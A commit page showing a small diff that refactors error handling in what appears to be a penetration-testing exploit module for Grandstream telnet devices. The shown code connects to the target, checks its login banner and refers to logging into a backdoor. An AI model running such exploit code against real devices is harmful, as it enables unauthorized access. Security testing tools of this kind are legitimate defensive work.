Commit 311d72d9 by Joshua Abraham

Moved try-catch to check method and removed unnecessary except

parent e949a544
...@@ -30,7 +30,6 @@ class Exploit(exploits.Exploit): ...@@ -30,7 +30,6 @@ class Exploit(exploits.Exploit):
port = exploits.Option(23, 'Target port') # default port port = exploits.Option(23, 'Target port') # default port
def run(self): def run(self):
try:
if self.check(): if self.check():
print_success("Target appears to be vulnerable...") print_success("Target appears to be vulnerable...")
...@@ -66,14 +65,14 @@ class Exploit(exploits.Exploit): ...@@ -66,14 +65,14 @@ class Exploit(exploits.Exploit):
print_error("Failed to log into backdoor.") print_error("Failed to log into backdoor.")
else: else:
print_error("Exploit failed. Target does not appear vulnerable") print_error("Exploit failed. Target does not appear vulnerable")
except Exception as err:
print_error("{}".format(err))
@mute @mute
def check(self): def check(self):
try:
conn = telnetlib.Telnet(self.target, self.port) conn = telnetlib.Telnet(self.target, self.port)
except:
return False
output = conn.read_until("login:") output = conn.read_until("login:")
if 'Grandstream' in output: if 'Grandstream' in output:
return True return True
else:
return False return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment